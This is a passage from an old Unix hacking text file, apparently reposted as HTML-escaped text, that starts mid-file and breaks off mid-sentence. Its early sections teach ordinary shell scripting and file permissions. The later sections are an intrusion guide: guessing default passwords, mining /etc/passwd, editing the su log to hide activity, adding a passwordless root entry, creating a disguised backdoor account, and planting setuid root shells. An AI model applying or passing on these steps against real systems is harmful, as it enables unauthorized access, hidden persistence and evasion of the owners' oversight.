/&gt;&lt;br /&gt;ps $arg1 $arg2&lt;br /&gt;&lt;br /&gt;echo $counter&lt;br /&gt;&lt;br /&gt;        That script would translate to "ps -uf scythian" then would print&lt;br /&gt;        "1" after that was finished.  ECHO prints something on the screen&lt;br /&gt;        whether it be numeric, or a string constant.&lt;br /&gt;&lt;br /&gt;Other Commands / Examples:&lt;br /&gt;&lt;br /&gt;read - reads someting into a variable.  format : read variable .  No dollar&lt;br /&gt;        sign is needed here!  If I wwanted to get someone's name, I could&lt;br /&gt;        put:&lt;br /&gt;&lt;br /&gt;echo "What is your name?"&lt;br /&gt;read hisname&lt;br /&gt;echo Hello $hisname&lt;br /&gt;&lt;br /&gt;        What is your name?&lt;br /&gt;        Sir Hackalot&lt;br /&gt;        Hello Sir Hackalot&lt;br /&gt;&lt;br /&gt;        Remember, read can read numeric values also.&lt;br /&gt;&lt;br /&gt;trap - This can watch for someone to use the interrupt character. (Ctrl-c)&lt;br /&gt;       format: trap "command ; command ; command ; etc.."&lt;br /&gt;Example:&lt;br /&gt;        trap "echo 'Noway!! You are not getting rid o me that easy' ; echo&lt;br /&gt;        'You gotta see this through!'"&lt;br /&gt;&lt;br /&gt;        Now, if I hit control-c during the script after this statement was&lt;br /&gt;        executed, I'd get:&lt;br /&gt;        Noway!! You are not getting rid of me that easy&lt;br /&gt;        You gotta see this through!&lt;br /&gt;&lt;br /&gt;exit : format :exit [num]  This exists the shell [quits] with return&lt;br /&gt;        code of num.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;CASE&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;        Case execution is like a menu choice deal.  The format of the command&lt;br /&gt;        or structure is :&lt;br /&gt;        case variable in&lt;br /&gt;        1) command;&lt;br /&gt;           command;;&lt;br /&gt;        2) command;&lt;br /&gt;           command;&lt;br /&gt;           command;;&lt;br /&gt;        *) command;;&lt;br /&gt;         esac&lt;br /&gt;        Each part can have any number of commands. The last command however&lt;br /&gt;        must have a ";;".  Take this menu:&lt;br /&gt;&lt;br /&gt;        echo "Please Choose:"&lt;br /&gt;        echo "(D)irectory (L)ogoff (S)hell"&lt;br /&gt;        read choice&lt;br /&gt;        case $choice in&lt;br /&gt;&lt;br /&gt;        D) echo "Doing Directory...";&lt;br /&gt;           ls -al ;;&lt;br /&gt;        L) echo Bye;&lt;br /&gt;           kill -1 0;;&lt;br /&gt;        S) exit;;&lt;br /&gt;        *) Echo "Error! Not a command";;&lt;br /&gt;        esac&lt;br /&gt;&lt;br /&gt;        The esac marks the end of a case function.  It must be after the&lt;br /&gt;        LAST command.&lt;br /&gt;&lt;br /&gt;Loops&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;        Ok, loops.  There are two loop functins.  the for loops, and the&lt;br /&gt;        repeat.&lt;br /&gt;&lt;br /&gt;        repeat looks like this: repeat something somethin1 somethin2&lt;br /&gt;        this would repeat a section of your script for each "something".&lt;br /&gt;        say i did this:&lt;br /&gt;        repeat scythian sirhack prophet&lt;br /&gt;&lt;br /&gt;        I may see "scythian" then sirhack then prophet on my screen.&lt;br /&gt;&lt;br /&gt;        The for loop is defined as "for variable in something&lt;br /&gt;                                    do&lt;br /&gt;                                    ..&lt;br /&gt;                                    ..&lt;br /&gt;                                    done"&lt;br /&gt;&lt;br /&gt;        an example:&lt;br /&gt;        for counter in 1 2 3&lt;br /&gt;        do&lt;br /&gt;        echo $counter&lt;br /&gt;        done&lt;br /&gt;&lt;br /&gt;        That would print out 1 then 2 then 3.&lt;br /&gt;&lt;br /&gt;Using TEST&lt;br /&gt;----------&lt;br /&gt;The format:  Test variable option variable&lt;br /&gt;&lt;br /&gt;The optios are:&lt;br /&gt;-eq    =&lt;br /&gt;-ne    &lt;&gt; (not equal)&lt;br /&gt;-gt    &gt;&lt;br /&gt;-lt    &lt;&lt;br /&gt;-ge    &gt;=&lt;br /&gt;-le    &lt;=&lt;br /&gt;&lt;br /&gt;for strings its: = for equal  != for not equal.&lt;br /&gt;&lt;br /&gt;If the condition is true, a zero is returned.  Watch:&lt;br /&gt;&lt;br /&gt;        test 3 -eq 3&lt;br /&gt;&lt;br /&gt;that would be test 3 = 3, and 0 would be returned.&lt;br /&gt;&lt;br /&gt;EXPR&lt;br /&gt;----&lt;br /&gt;&lt;br /&gt;This is for numeric functions.  You cannot simply type in&lt;br /&gt;echo 4 + 5&lt;br /&gt;and get an answer most of the time.  you must say:&lt;br /&gt;expr variable [or number] operator variable2 [or number]&lt;br /&gt;the operators are:&lt;br /&gt;&lt;br /&gt;+ add&lt;br /&gt;- subtract&lt;br /&gt;* multiply&lt;br /&gt;/ divide&lt;br /&gt;^ - power (on some systems)&lt;br /&gt;&lt;br /&gt;example :   expr 4 + 5&lt;br /&gt;var = expr 4 + 5&lt;br /&gt;var would hold 9.&lt;br /&gt;&lt;br /&gt;        On some systems, expr sometimes prints out a formula.  I mean,&lt;br /&gt;        22+12 is not the same as 22 + 12.  If you said expr 22+12 you&lt;br /&gt;        would see:&lt;br /&gt;        22+12&lt;br /&gt;        If you did expr 22 + 12 you'd see:&lt;br /&gt;        34&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SYSTEM VARIABLES&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;        These are variables used by the shell, and are usually set in the&lt;br /&gt;system wide .profile [explained later].&lt;br /&gt;&lt;br /&gt;HOME - location of your home directory.&lt;br /&gt;PS1  - The prompt you are given.  usually $ .  On BSD its usually &amp;amp;&lt;br /&gt;PATH - This is the search path for programs.  When you type in a program&lt;br /&gt;to be run, it is not in memory; it must be loaded off disk.  Most commands&lt;br /&gt;are not in Memory like MSDOS.  If a program is on the search path, it may&lt;br /&gt;be executed no matter where you are.  If not, you must be in the directory&lt;br /&gt;where the program is.  A path is a set of directories basically, seperated by&lt;br /&gt;":"'s.  Here is a typical search path:&lt;br /&gt;&lt;br /&gt;        :/bin:/etc:/usr/lbin:$HOME:&lt;br /&gt;&lt;br /&gt;When you tried to execute a program, Unix would look for it in /bin,&lt;br /&gt;/etc, /usr/lbin, and your home directory, and if its not found, an error is&lt;br /&gt;spewed out.  It searches directories in ORDER of the path.  SO if you had a&lt;br /&gt;program named "sh" in your home directory, and typed in "sh", EVEN if&lt;br /&gt;you were in your home dir, it would execute the one in /bin. So, you&lt;br /&gt;must set your paths wisely.  Public access Unixes do this for you, but systems&lt;br /&gt;you may encounter may have no path set.&lt;br /&gt;&lt;br /&gt;TERM - This is your terminal type.  UNIX has a library of functions called&lt;br /&gt;"CURSES" which can take advantage of any terminal, provided the escape&lt;br /&gt;codes are found.  You must have your term set to something if you run&lt;br /&gt;screen oriented programs.  The escape codes/names of terms are found&lt;br /&gt;in a file called TERMCAP.  Don't worry about that.  just set your term&lt;br /&gt;to ansi or vt100.  CURSES will let you know if it cannot manipulate your&lt;br /&gt;terminal emulation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;The C compiler&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;        This Will be BRIEF.  Why?  Becuase if you want to learn C, go&lt;br /&gt;        buy a book.  I don't have time to write another text file on&lt;br /&gt;        C, for it would be huge.  Basically, most executables are programmed&lt;br /&gt;        in C.  Source code files on unix are found as filename.c  .&lt;br /&gt;        To compile one, type in "cc filename.c".  Not all C programs&lt;br /&gt;        will compile, since they may depend on other files not there, or&lt;br /&gt;        are just modules.  If you see a think called "makefile" you can&lt;br /&gt;        usually type in just "make" at the command prompt, and something&lt;br /&gt;        will be compiled, or be attempted to compile.  When using make or&lt;br /&gt;        CC, it would be wise to use the background operand since&lt;br /&gt;        compiling sometimes takes for ever.&lt;br /&gt;        IE:&lt;br /&gt;        $ cc login.c&amp;amp;&lt;br /&gt;        [1234]&lt;br /&gt;        $&lt;br /&gt;        (The 1234 was the process # it got identified as).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;The FILE SYSTEM&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;        This is an instrumental part of UNIX.  If you do not understand this&lt;br /&gt;section, you'll never get the hang of hacking Unix, since a lot of Pranks&lt;br /&gt;you can play, and things you can do to "raise your access" depend on it.&lt;br /&gt;&lt;br /&gt;First, Let's start out by talking about the directory structure.  It is&lt;br /&gt;basically a Hiearchy file system, meaning, it starts out at a root directory&lt;br /&gt;and expands, just as MSDOS, and possibly AmigaDos.&lt;br /&gt;&lt;br /&gt;Here is a Directory Tree of sorts:  (d) means directory&lt;br /&gt;&lt;br /&gt;                        /  (root dir)&lt;br /&gt;                        |&lt;br /&gt;                        |--------------------|&lt;br /&gt;                      bin (d)               usr (d)&lt;br /&gt;                                        ----^--------------------&lt;br /&gt;                                        |        |              |&lt;br /&gt;                                    sirhack(d)  scythian (d)    prophet (d)&lt;br /&gt;                                        |&lt;br /&gt;                                        src (d)&lt;br /&gt;&lt;br /&gt;Now, this particular system contains the following directories:&lt;br /&gt;/&lt;br /&gt;/bin&lt;br /&gt;/usr&lt;br /&gt;/usr/sirhack&lt;br /&gt;/usr/sirhack/src&lt;br /&gt;/usr/scythian&lt;br /&gt;/usr/prophet&lt;br /&gt;&lt;br /&gt;Hopefully, you understood that part, and you should.  Everything spawns from&lt;br /&gt;the root directory.&lt;br /&gt;&lt;br /&gt;o File Permissions!&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;Now, this is really the biggie.  File Permissions.  It is not that hard to&lt;br /&gt;understand file permissions, but I will explain them deeply anyway.&lt;br /&gt;&lt;br /&gt;OK, now you must think of user groups as well as user names.  Everyone&lt;br /&gt;belongs to a group.  at the $ prompt, you could type in 'id' to see what&lt;br /&gt;group you are in.  Ok, groups are used to allow people access certain things,&lt;br /&gt;instead of just having one person controlling/having access to certain files.&lt;br /&gt;Remember also, that Unix looks at someone's UID to determine access, not&lt;br /&gt;user name.&lt;br /&gt;&lt;br /&gt;Ok.  File permissions are not really that complicated.  Each file has an owner&lt;br /&gt;This OWNER is usually the one who creates the file, either by copying a file&lt;br /&gt;or just by plain editing one.  The program CHOWN can be used to give someone&lt;br /&gt;ownership of a file.  Remember that the owner of a file must be the one who&lt;br /&gt;runs CHOWN, since he is the only one that can change the permissions of a file&lt;br /&gt;Also, there is a group owner, which is basically the group that you were in&lt;br /&gt;when the file was created.  You would use chgrp to change the group a file is&lt;br /&gt;in.&lt;br /&gt;&lt;br /&gt;Now, Files can have Execute permissions, read permissions, or write permission.&lt;br /&gt;If you have execute permission, you know that you can just type in the name&lt;br /&gt;of that program at the command line, and it will execute.  If you have read&lt;br /&gt;permission on a file, you can obviously read the file, or do anything that&lt;br /&gt;reads the file in, such as copying the file or cat[ing] it (Typing it).&lt;br /&gt;If you do NOT have access to read a file, you can't do anything that requires&lt;br /&gt;reading in the file.  This is the same respect with write permission.  Now,&lt;br /&gt;all the permissions are arranged into 3 groups.  The first is the owner's&lt;br /&gt;permissions.  He may have the permissions set for himself to read and execute&lt;br /&gt;the file, but not write to it.  This would keep him from deleting it.&lt;br /&gt;The second group is the group permissions.  Take an elongated directory&lt;br /&gt;for an example:&lt;br /&gt; $ ls -l runme&lt;br /&gt; r-xrwxr-- sirhack       root     10990 March 21  runme&lt;br /&gt;&lt;br /&gt;ok.  Now, "root" is the groupname this file is in.  "sirhack" is the owner.&lt;br /&gt;Now, if the group named 'root' has access to read, write and execute, they&lt;br /&gt;could do just that.  Say .. Scythian came across the file, and was in the root&lt;br /&gt;user group.  He could read write or execute the file.  Now, say datawiz came&lt;br /&gt;across it, but was in the "users" group.  The group permissions would not&lt;br /&gt;apply to him, meaning he would have no permissions, so he couldn't touch&lt;br /&gt;the file, right?  Sorta.  There is a third group of permissions, and this is&lt;br /&gt;the "other" group.  This means that the permissions in the "other" group&lt;br /&gt;apply to everyone but the owner, and the users in the same group as the file.&lt;br /&gt;Look at the directory entry above.  the r-x-rwxr-- is the permissions line.&lt;br /&gt;The first three characters are the permissions for the owner (r-x).  The&lt;br /&gt;"r-x" translates to "Read and execute permissions, but no write permissions"&lt;br /&gt;the second set of three, r-xRWXr-- (the ones in capital letters) are the group&lt;br /&gt;permissions.  Those three characters mean "Read, write, and execution allowed"&lt;br /&gt;The 3rd set, r-xrwxR-- is the permissions for everyone else.  It means&lt;br /&gt;"Reading allowed, but nothing else".  A directory would look something like&lt;br /&gt;this:&lt;br /&gt; $ ls -l&lt;br /&gt; drwxr-xr-x sirhack     root  342 March 11  src&lt;br /&gt;&lt;br /&gt;A directory has a "d" at the beggining of the permissions line.  Now, the&lt;br /&gt;owner of the directory (sirhack) can read from the directory, write in the&lt;br /&gt;directory, and execute programs from the directory.  The root group and every-&lt;br /&gt;one else can only read from the directory, and execute off the directory.&lt;br /&gt;So, If I changed the directory to be executable only, this is&lt;br /&gt;what it would look like:&lt;br /&gt; $ chmod go-r&lt;br /&gt; $ ls&lt;br /&gt; drwx--x--x sirhack   root  342  March 11  src&lt;br /&gt;&lt;br /&gt;Now, if someone went into the directory besides "sirhack", they could only&lt;br /&gt;execute programs in the directory.  If they did an "ls" to get a directory&lt;br /&gt;of src, when they were inside src, it would say "cannot read directory".&lt;br /&gt;If there is a file that is readable in the directory, but the directory is&lt;br /&gt;not readable, it is sometimes possible to read the file anyway.&lt;br /&gt;&lt;br /&gt;If you do not have execute permissions in a directory, you won't be able to&lt;br /&gt;execute anything in the directory, most of the time.&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;Hacking:&lt;br /&gt;--------------&lt;br /&gt;        The first step in hacking a UNIX is to get into the operating system&lt;br /&gt;by finding a valid account/password.  The object of hacking is usually to&lt;br /&gt;get root (full privileges), so if you're lucky enough to get in as root,&lt;br /&gt;you need not read anymore of this hacking phile , and get into the&lt;br /&gt;"Having Fun" Section.  Hacking can also be just to get other's accounts also.&lt;br /&gt;&lt;br /&gt;Getting IN&lt;br /&gt;----------&lt;br /&gt;        The first thing to do is to GET IN to the Unix.  I mean, get past&lt;br /&gt;the login prompt.  That is the very first thing.  When you come across a UNIX,&lt;br /&gt;sometimes it will identify itself by saying something like,&lt;br /&gt;"Young INC. Company UNIX"&lt;br /&gt;&lt;br /&gt;or Just&lt;br /&gt;"Young Inc.  Please login"&lt;br /&gt;&lt;br /&gt;        Here is where you try the defaults I listed.  If you get in with those&lt;br /&gt;you can get into the more advanced hacking (getting root). If you do something&lt;br /&gt;wrong at login, you'll get the message&lt;br /&gt;"login incorrect"&lt;br /&gt;This was meant to confuse hackers, or keep the wondering.  Why?&lt;br /&gt;Well, you don't know if you've enterred an account that does not exist, or one&lt;br /&gt;that does exist, and got the wrong password.  If you login as root and it says&lt;br /&gt;"Not on Console", you have a problem.  You have to login as someone else,&lt;br /&gt;and use SU to become root.&lt;br /&gt;&lt;br /&gt;   Now, this is where you have to think.  If you cannot get in with a&lt;br /&gt;default, you are obviously going to have to find something else to&lt;br /&gt;login as.  Some systems provide a good way to do this by allowing the use&lt;br /&gt;of command logins.  These are ones which simply execute a command, then&lt;br /&gt;logoff.  However, the commands they execute are usually useful.  For instance&lt;br /&gt;there are three common command logins that tell you who is online at the&lt;br /&gt;present time.  They are:&lt;br /&gt;        who&lt;br /&gt;        rwho&lt;br /&gt;        finger&lt;br /&gt;&lt;br /&gt;    If you ever successfully get one of these to work, you can write down&lt;br /&gt;the usernames of those online, and try to logon as them.  Lots of unsuspecting&lt;br /&gt;users use there login name as their password.  For instance, the user&lt;br /&gt;"bob" may have a password named "bob" or "bob1".   This, as you know, is&lt;br /&gt;not smart, but they don't expect a hacking spree to be carried out on&lt;br /&gt;them.  They merely want to be able to login fast.&lt;br /&gt;   If a command login does not exist, or is not useful at all, you will&lt;br /&gt;have to brainstorm.  A good thing to try is to use the name of the unix&lt;br /&gt;that it is identified as.  For instance, Young INC's Unix may have an account&lt;br /&gt;named "young"&lt;br /&gt;        Young, INC.  Please Login.&lt;br /&gt;        login: young&lt;br /&gt;        UNIX SYSTEM V REL 3.2&lt;br /&gt;        (c)1984 AT&amp;amp;T..&lt;br /&gt;        ..&lt;br /&gt;        ..&lt;br /&gt;        ..&lt;br /&gt;&lt;br /&gt;   Some unixes have an account open named "test".  This is also a default,&lt;br /&gt;but surprisingly enough, it is sometimes left open.  It is good to try to&lt;br /&gt;use it.  Remember, brainstorming is the key to a unix that has no apparent&lt;br /&gt;defaults open.  Think of things that may go along with the Unix.  type&lt;br /&gt;in stuff like "info", "password", "dial", "bbs" and other things that&lt;br /&gt;may pertain to the system.  "att" is present on some machines also.&lt;br /&gt;&lt;br /&gt;ONCE INSIDE -- SPECIAL FILES&lt;br /&gt;----------------------------&lt;br /&gt;        There are several files that are very important to the UNIX&lt;br /&gt;environment.  They are as follows:&lt;br /&gt;&lt;br /&gt;/etc/passwd  - This is probably the most important file on a Unix.  Why?&lt;br /&gt;               well, basically, it holds the valid usernames/passwords.&lt;br /&gt;               This is important since only those listed in the passwd&lt;br /&gt;               file can login, and even then some can't (will explain).&lt;br /&gt;               The format for the passwordfile is this:&lt;br /&gt;&lt;br /&gt;username:password:UserID:GroupID:description(or real name):homedir:shell&lt;br /&gt;&lt;br /&gt;                Here are two sample entries:&lt;br /&gt;&lt;br /&gt;sirhack:89fGc%^7&amp;amp;a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh&lt;br /&gt;demo::101:100:Test Account:/usr/demo:/usr/sh&lt;br /&gt;&lt;br /&gt;                In the first line, sirhack is a valid user.  The second&lt;br /&gt;                field, however, is supposed to be a password, right?  Well,&lt;br /&gt;                it is, but it's encrypted with the DES encryption standard.&lt;br /&gt;                the part that says "&amp;amp;a,Ty" may include a date after the comma&lt;br /&gt;                (Ty) that tells unix when the password expires.  Yes, the&lt;br /&gt;                date is encrypted into two alphanumeric characters (Ty).&lt;br /&gt;&lt;br /&gt;                In the Second example, the demo account has no password.&lt;br /&gt;                so at Login, you could type in:&lt;br /&gt;&lt;br /&gt;login: demo&lt;br /&gt;UNIX system V&lt;br /&gt;(c)1984 AT&amp;amp;T&lt;br /&gt;..&lt;br /&gt;..&lt;br /&gt;&lt;br /&gt;                But with sirhack, you'd have to enter a password.  Now,&lt;br /&gt;                the password file is great, since a lot of times, you;ll&lt;br /&gt;                be able to browse through it to look for unpassworded&lt;br /&gt;                accounts.  Remember that some accounts can be restricted&lt;br /&gt;                from logging in, as such:&lt;br /&gt;&lt;br /&gt;bin:*:2:2:binaccount:/bin:/bin/sh&lt;br /&gt;&lt;br /&gt;                The '*' means you won't be able to login with it.  Your&lt;br /&gt;                only hope would be to run an SUID shell (explained later).&lt;br /&gt;&lt;br /&gt;        A note about the DES encryption:  each unix makes its own unique&lt;br /&gt;"keyword" to base encryption off of.  Most of the time its just random letters&lt;br /&gt;and numbers.  Its chosen at installation time by the operating system.&lt;br /&gt;        Now, decrypting DES encrypted things ain't easy.  Its pretty much&lt;br /&gt;impossible.  Especially decrypting the password file (decrypting the password&lt;br /&gt;field within the password file to be exact).  Always beware a hacker who&lt;br /&gt;says he decrypted a password file.  He's full of shit.  Passwords are&lt;br /&gt;never decrypted on unix, but rather, a system call is made to a function&lt;br /&gt;called "crypt" from within the C language, and the string you enter as&lt;br /&gt;the password gets encrypted, and compared to the encrypted password.  If&lt;br /&gt;they match, you're in.  Now, there are password hackers, but they donot&lt;br /&gt;decrypt the password file, but rather, encrypt words from a dictionary&lt;br /&gt;and try them against every account (by crypting/comparing) until it finds&lt;br /&gt;a match (later on!).  Remember, few, if none, have decrypted the password&lt;br /&gt;file successfuly.&lt;br /&gt;&lt;br /&gt;/etc/group - This file contains The valid groups.  The group file is usually&lt;br /&gt;             defined as this:&lt;br /&gt;             groupname:password:groupid:users in group&lt;br /&gt;&lt;br /&gt;         Once again, passwords are encrypted here too.  If you see a blank&lt;br /&gt;         in the password entry you can become part of that group by&lt;br /&gt;         using the utility "newgrp". Now, there are some cases in&lt;br /&gt;         which even groups with no password will allow only certain&lt;br /&gt;         users to be assigned to the group via the newgrp command. Usually,&lt;br /&gt;         if the last field is left blank, that means any user can use newgrp&lt;br /&gt;         to get that group's access.  Otherwise, only the users specified in&lt;br /&gt;         the last field can enter the group via newgrp.&lt;br /&gt;&lt;br /&gt;        Newgrp is just a program that will change your group current&lt;br /&gt;        group id you are logged on under to the one you specify.  The&lt;br /&gt;        syntax for it is:  newgrp groupname&lt;br /&gt;        Now, if you find a group un passworded, and use newgrp to&lt;br /&gt;        enter it, and it asks for a password, you are not allowed to use&lt;br /&gt;        the group.  I will explain this further in The "SU &amp;amp; Newgrp" section.&lt;br /&gt;&lt;br /&gt;/etc/hosts - this file contains a list of hosts it is connected to thru&lt;br /&gt;             a hardware network (like an x.25 link or something), or sometimes&lt;br /&gt;             just thru UUCP.  This is a good file when you are hacking a&lt;br /&gt;             large network, since it tells you systems you can use with&lt;br /&gt;             rsh (Remote Shell, not restricted shell), rlogin, and telnet,&lt;br /&gt;             as well as other ethernet/x.25 link programs.&lt;br /&gt;&lt;br /&gt;/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in&lt;br /&gt;             Several directories, but it is usually in /usr/adm.  This file&lt;br /&gt;             is what it sounds like.  Its a log file, for the program SU.&lt;br /&gt;             What it is for is to keep a record of who uses SU and when.&lt;br /&gt;             whenever you use SU, your best bet would be to edit this file&lt;br /&gt;             if possible, and I'll tell you how and why in the section&lt;br /&gt;             about using "su".&lt;br /&gt;&lt;br /&gt;/usr/adm/loginlog&lt;br /&gt;or /usr/adm/acct/loginlog -&lt;br /&gt;        This is a log file, keeping track of the logins.&lt;br /&gt;        Its purpose is merely for accounting and "security review".  Really,&lt;br /&gt;        sometimes this file is never found, since a lot of systems keep the&lt;br /&gt;        logging off.&lt;br /&gt;&lt;br /&gt;/usr/adm/errlog&lt;br /&gt;or errlog -     This is the error log.  It could be located anywhere.  It&lt;br /&gt;                keeps track of all serious and even not so serious errors.&lt;br /&gt;                Usually, it will contain an error code, then a situation.&lt;br /&gt;                the error code can be from 1-10, the higher the number, the&lt;br /&gt;                worse the error.  Error code 6 is usually used when you try&lt;br /&gt;                to hack.  "login" logs your attempt in errlog with error code&lt;br /&gt;                6.  Error code 10 means, in a nutshell, "SYSTEM CRASH".&lt;br /&gt;&lt;br /&gt;/usr/adm/culog - This file contains entries that tell when you used cu,&lt;br /&gt;                 where you called and so forth.  Another security thing.&lt;br /&gt;&lt;br /&gt;/usr/mail/&lt;userlogin&gt; - this is where the program "mail" stores its mail.&lt;br /&gt;                        to read a particular mailbox, so they are called,&lt;br /&gt;                        you must be that user, in the user group "mail" or&lt;br /&gt;                        root.  each mailbox is just a name.  for instance,&lt;br /&gt;                        if my login was "sirhack" my mail file would usually&lt;br /&gt;                        be: /usr/mail/sirhack&lt;br /&gt;&lt;br /&gt;/usr/lib/cron/crontabs - This contains the instructions for cron, usually.&lt;br /&gt;                         Will get into this later.&lt;br /&gt;&lt;br /&gt;/etc/shadow - A "shadowed" password file.  Will talk about this later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- The BIN account --&lt;br /&gt;&lt;br /&gt;       Well, right now, I'd like to take a moment to talk about the account&lt;br /&gt;"bin".  While it is only a user level account, it is very powerful.  It is&lt;br /&gt;the owner of most of the files, and on most systems, it owns /etc/passwd,&lt;br /&gt;THE most important file on a unix.  See, the bin account owns most of the&lt;br /&gt;"bin" (binary) files, as well as others used by the binary files, such&lt;br /&gt;as login.  Now, knowing what you know about file permissions, if bin owns&lt;br /&gt;the passwd file, you can edit passwd and add a root entry for yourself.&lt;br /&gt;You could do this via the edit command:&lt;br /&gt;$ ed passwd&lt;br /&gt;10999 [The size of passwd varies]&lt;br /&gt;* a&lt;br /&gt;sirhak::0:0:Mr. Hackalot:/:/bin/sh&lt;br /&gt;{control-d}&lt;br /&gt;* w&lt;br /&gt;* q&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Then, you could say: exec login, then you could login as sirhack, and&lt;br /&gt;you'd be root.&lt;br /&gt;&lt;br /&gt;/\/\/\/\/\/\/\/\/&lt;br /&gt;Hacking..........&lt;br /&gt;/\/\/\/\/\/\/\/\/&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;Account Adding&lt;br /&gt;--------------&lt;br /&gt;&lt;br /&gt;        There are other programs that will add users to the system, instead&lt;br /&gt;of ed.  But most of these programs will NOT allow a root level user to be&lt;br /&gt;added, or anything less than a UID of 100.  One of these programs is&lt;br /&gt;named "adduser".  Now, the reason I have stuck this little section in, is&lt;br /&gt;for those who want to use a unix for something useful.  Say you want a&lt;br /&gt;"mailing address".  If the unix has uucp on it, or is a big college,&lt;br /&gt;chances are, it will do mail transfers.  You'll have to test the unix&lt;br /&gt;by trying to send mail to a friend somewhere, or just mailing yourself.&lt;br /&gt;If the mailer is identified as "smail" when you mail yourself (the program&lt;br /&gt;name will be imbedded in the message) that probably means that the system&lt;br /&gt;will send out UUCP mail.  This is a good way to keep in contact with people.&lt;br /&gt;Now, this is why you'd want a semi-permanent account.  The way to achieve this&lt;br /&gt;is by adding an account similar to those already on the system.  If all the&lt;br /&gt;user-level accounts (UID &gt;= 100) are three letter abbriviations, say&lt;br /&gt;"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account&lt;br /&gt;via adduser, and make a name like sally jane marshall or something&lt;br /&gt;(they don't expect hackers to put in female names) and have the account&lt;br /&gt;named sjm.  See, in the account description (like Mr. Hackalot above), that&lt;br /&gt;is where the real name is usually stored.  So, sjm might look like this:&lt;br /&gt;     sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh&lt;br /&gt;Of course, you will password protect this account, right?&lt;br /&gt;Also, group id's don't have to be above 100, but you must put the account&lt;br /&gt;into one that exists.  Now, once you login with this account, the first&lt;br /&gt;thing you'd want to do is execute "passwd" to set a password up.  If you&lt;br /&gt;don't, chances are someone else 'll do it for you (Then you'll be SOL).&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Set The User ID&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;        This is porbably one of the most used schemes.  Setting up an "UID-&lt;br /&gt;Shell". What does this mean?  Well, it basically means you are going&lt;br /&gt;to set the user-bit on a program.  The program most commonly used is&lt;br /&gt;a shell (csh,sh, ksh, etc).  Why?  Think about it:  You'll have access&lt;br /&gt;to whatever the owner of the file does.  A UID shell sets the user-ID of&lt;br /&gt;the person who executes it to the owner of the program.  So if root&lt;br /&gt;owns a uid shell, then you become root when you run it.  This is an&lt;br /&gt;alternate way to become root.&lt;br /&gt;&lt;br /&gt;        Say you get in and modify the passwd file and make a root level&lt;br /&gt;account unpassworded, so you can drop in.  Of course, you almost HAVE to&lt;br /&gt;get rid of that account or else it WILL be noticed eventually.  So, what&lt;br /&gt;you would do is set up a regular user account for yourself, then, make&lt;br /&gt;a uid shell.  Usually you would use /bin/sh to do it.  After adding&lt;br /&gt;the regular user to the passwd file, and setting up his home directory,&lt;br /&gt;you could do something like this:&lt;br /&gt;(assume you set up the account: shk)&lt;br /&gt; # cp /bin/sh /usr/shk/runme&lt;br /&gt; # chmod a+s /usr/shk/runme&lt;br /&gt;&lt;br /&gt;Thats all there would be to it.  When you logged in as shk, you could just&lt;br /&gt;type in:&lt;br /&gt;&lt;br /&gt; $ runme&lt;br /&gt; #&lt;br /&gt;&lt;br /&gt;See?  You'd then be root.  Here is a thing to do:&lt;br /&gt;&lt;br /&gt;$ id&lt;br /&gt;uid=104(shk) gid=50(user)&lt;br /&gt;&lt;br /&gt;$ runme&lt;br /&gt;# id&lt;br /&gt;uid=104(shk) gid=50(user) euid=0(root)&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;The euid is the "effective" user ID.  UID-shells only set the effective&lt;br /&gt;userid, not the real user-id.  But, the effective user id over-rides the&lt;br /&gt;real user id.  Now, you can, if you wanted to just be annoying, make&lt;br /&gt;the utilities suid to root.  What do I mean?  For instance, make 'ls'&lt;br /&gt;a root 'shell'. :&lt;br /&gt;&lt;br /&gt;# chmod a+s /bin/ls&lt;br /&gt;# exit&lt;br /&gt;$ ls -l /usr/fred&lt;br /&gt;..&lt;br /&gt;......&lt;br /&gt;etc crap&lt;br /&gt;&lt;br /&gt;Ls would then be able to pry into ANY directory.  If you did the same to&lt;br /&gt;"cat" you could view any file.  If you did it to rm, you could delete any&lt;br /&gt;file.  If you did it to 'ed', you could edit any-file (nifty!), anywhere on&lt;br /&gt;the system (usually).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do I get root?&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;   Good question indeed.  To make a program set the user-id shell to root,&lt;br /&gt;you have to be root, unless you're lucky.  What do I mean?  Well, say&lt;br /&gt;you find a program that sets the user-id to root.  If you have access&lt;br /&gt;to write to that file, guess what?  you can copy over it, but keep&lt;br /&gt;the uid bit set.  So, say you see that the program chsh is setting&lt;br /&gt;the user id too root.  You can copy /bin/sh over it.&lt;br /&gt;&lt;br /&gt;$ ls -l&lt;br /&gt;rwsrwsrws  root     other  10999 Jan 4  chsh&lt;br /&gt;$ cp /bin/sh chsh&lt;br /&gt;$ chsh&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;See?  That is just one way.  There are others, which I will now talk&lt;br /&gt;about.&lt;br /&gt;&lt;br /&gt;More on setting the UID&lt;br /&gt;-----------------------&lt;br /&gt;&lt;br /&gt;        Now, the generic form for making a program set the User-ID bit&lt;br /&gt;is to use this command:&lt;br /&gt;&lt;br /&gt;chmod a+s file&lt;br /&gt;&lt;br /&gt;Where 'file' is a valid existing file.  Now, only those who own the file&lt;br /&gt;can set the user ID bit.  Remember, anything YOU create, YOU own, so if&lt;br /&gt;you copy th /bin/sh, the one you 